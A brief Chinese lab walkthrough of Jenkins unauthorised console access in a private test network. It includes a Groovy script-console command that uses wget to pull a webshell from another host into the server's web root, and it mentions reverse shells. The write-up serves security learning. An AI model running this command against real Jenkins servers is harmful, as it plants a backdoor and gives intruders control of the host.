什么是jenkins?
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
Jenkins功能是什么?
持续的软件版本发布/测试项目。
监控外部调用执行的工作。
什么是jenkins未授权管理?
未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。
实验环境
服务端rhel:192.168.1.80
客户端kali:192.168.1.184
下载安装jenkins环境
官网:http://mirrors.jenkins.io
访问192.168.1.80:8080,环境搭建成功
浏览器访问http://192.168.1.80:8080/manage,可以直接访问
执行系统命令
写马
有可写权限
println “wget http://192.168.1.84/webshell.php -P /var/www/html/”.execute().text
目标机查看
蚁剑连接,因为我本台机子上没有php环境,不解析php文件,在此不再演示。